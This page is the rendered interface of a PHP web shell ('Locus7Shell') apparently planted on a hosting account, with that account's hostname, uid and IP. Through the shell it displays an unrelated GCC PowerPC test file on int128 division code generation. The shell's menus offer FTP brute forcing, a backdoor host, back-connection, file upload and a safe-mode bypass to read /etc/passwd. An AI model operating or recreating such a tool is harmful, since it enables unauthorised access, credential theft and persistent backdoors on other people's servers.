Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr104698-2.c (1.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-require-effective-target int128     } */
/* { dg-require-effective-target power10_ok } */
/* { dg-options "-mdejagnu-cpu=power10 -O2" } */

/* PR target/104694 involved GCC generating vextsd2q to convent long long to
   __int128_t when the long long value was in the GPR register.  This test
   verifies that if the result is in the Altivec registers, we still want to
   generate vextsd2q.  We use __int128_t to indicate that we want the result of
   the conversion to be in an Altivec register. */

void do_div_1 (__int128_t *p, __int128_t *q, long long r)
{
  *p = *q / r;        /* mtvsrdd, vextsd2q, vdivsq.  */
}

/* Test the optimization in vsx.md to use lxvrdx instead of ld and mtvsrdd if
   the value is coming from memory.  */

void do_div_2 (__int128_t *p, __int128_t *q, long long *r)
{
  *p = *q / r[2];    /* lxvrdx, vextsd2q, vdivsq.  */
}

/* { dg-final { scan-assembler-not   {\mld\M}         } } */
/* { dg-final { scan-assembler-not   {\mmfvsrd\M}     } } */
/* { dg-final { scan-assembler-not   {\mmfvsrld\M}    } } */
/* { dg-final { scan-assembler-not   {\msradi\M}      } } */
/* { dg-final { scan-assembler-times {\mlxv\M}      2 } } */
/* { dg-final { scan-assembler-times {\mlxvrdx\M}   1 } } */
/* { dg-final { scan-assembler-times {\mmtvsrdd\M}  1 } } */
/* { dg-final { scan-assembler-times {\mstxv\M}     2 } } */
/* { dg-final { scan-assembler-times {\mvdivsq\M}   2 } } */
/* { dg-final { scan-assembler-times {\mvextsd2q\M} 2 } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--